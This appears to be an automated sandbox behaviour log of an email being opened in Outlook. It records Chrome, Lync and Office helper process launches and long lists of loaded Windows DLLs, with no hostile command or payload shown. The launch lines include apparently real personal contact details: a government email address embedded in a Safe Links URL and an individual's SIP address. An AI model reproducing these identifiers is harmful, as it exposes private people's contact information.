Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1980,i,15079542983284851120,9533258927394431202,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0C81AF4-9D5D-4F7F-B183-E0258382C044" "1EA30F3A-7AF7-40C2-BE11-7274B12F7870" "6268" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe "C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe" "sip:rphelps@minettcapital.com"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1948,i,683624776939791388,2130131065859048813,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe "C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1980,i,15079542983284851120,9533258927394431202,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: photometadatahandler.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: actxprxy.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.appdefaults.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: tiledatarepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: staterepository.core.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepository.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: directmanipulation.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: c2r32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: lyncmodelproxy.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: lyncdesktopviewmodel.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: propertymodel.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: propertymodelproxy.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtmmvras.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtmmvrsplitter.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: elscore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msimg32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dwrite.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: propertymodel.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: vcruntime140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: roottools.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtmpal.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtmcodecs.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dxva2.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: d3d9.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: d3d11.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msvcp140.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtmpal.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: roottools.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: powrprof.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: pdh.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ncrypt.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wtsapi32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mmdevapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: winmm.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rasapi32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: propsys.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: powrprof.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dxgi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: dwmapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rasman.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: umpdc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: ntasn1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: cryptui.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wevtapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: httpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: d2d1.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: winsta.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: uc.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: rtmmvrcs.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: cabinet.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: hid.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msproof7.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: efswrt.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: srpapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: netprofm.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: isolatedwindowsenvironmentutils.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: windows.security.authentication.web.core.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: npmproxy.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: davclnt.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: davhlpr.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: msoaria.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: d3d10warp.dll
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Section loaded: webservices.dll
